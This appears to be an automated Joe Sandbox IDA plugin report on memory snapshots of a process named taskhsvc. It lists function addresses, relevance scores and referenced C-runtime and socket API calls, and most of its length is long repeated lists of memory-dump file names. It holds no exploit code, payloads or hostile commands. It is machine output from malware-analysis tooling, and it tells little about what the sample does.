Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003159C4, Relevance: 3.0, APIs: 2, Instructions: 44

APIs

_open.MSVCRT ref: 00315A44
__stack_chk_fail.LIBSSP-0 ref: 00315A5A

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003211F6, Relevance: 3.0, APIs: 2, Instructions: 38

APIs

Part of subcall function 00321197: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00321389), ref: 003211EF

abort.MSVCRT ref: 0032125C

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00319B54), ref: 0032127B

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001CDAA5, Relevance: 3.0, APIs: 2, Instructions: 32

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

time.MSVCRT ref: 001CDAE9
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CDBD6), ref: 001CDB17

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00321144, Relevance: 3.0, APIs: 2, Instructions: 25

APIs

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

memset.MSVCRT ref: 0032117D
__stack_chk_fail.LIBSSP-0 ref: 00321190

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003172A4, Relevance: 3.0, APIs: 2, Instructions: 24

APIs

ioctlsocket.WS2_32 ref: 003172DB
__stack_chk_fail.LIBSSP-0 ref: 003172F0

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00316B7E, Relevance: 3.0, APIs: 2, Instructions: 21

APIs

_lseek.MSVCRT ref: 00316BAF
__stack_chk_fail.LIBSSP-0 ref: 00316BBD

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002DE31B, Relevance: 1.6, APIs: 1, Instructions: 88

APIs

Part of subcall function 0033434A: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DEE90), ref: 003343B0
Part of subcall function 0033434A: memcpy.MSVCRT ref: 00334405
Part of subcall function 0033434A: __stack_chk_fail.LIBSSP-0 ref: 00334423

__stack_chk_fail.LIBSSP-0 ref: 002DE499

Part of subcall function 00322664: abort.MSVCRT ref: 003226B4
Part of subcall function 00322664: __stack_chk_fail.LIBSSP-0 ref: 00322709

Part of subcall function 00334293: memcpy.MSVCRT ref: 003342DE
Part of subcall function 00334293: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00334338), ref: 003342F1

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002B2B73, Relevance: 1.6, APIs: 1, Instructions: 68

APIs

__stack_chk_fail.LIBSSP-0 ref: 002B2C58

Part of subcall function 0031F06F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CAF47), ref: 0031F0A7

Part of subcall function 0031F194: abort.MSVCRT ref: 0031F1F0
Part of subcall function 0031F194: abort.MSVCRT ref: 0031F22F
Part of subcall function 0031F194: abort.MSVCRT ref: 0031F26E
Part of subcall function 0031F194: abort.MSVCRT ref: 0031F319
Part of subcall function 0031F194: __stack_chk_fail.LIBSSP-0 ref: 0031F3A5

Part of subcall function 0031F0AE: abort.MSVCRT ref: 0031F104
Part of subcall function 0031F0AE: abort.MSVCRT ref: 0031F143
Part of subcall function 0031F0AE: __stack_chk_fail.LIBSSP-0 ref: 0031F18D

Part of subcall function 002B3EC7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002B66C7), ref: 002B3EFF

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
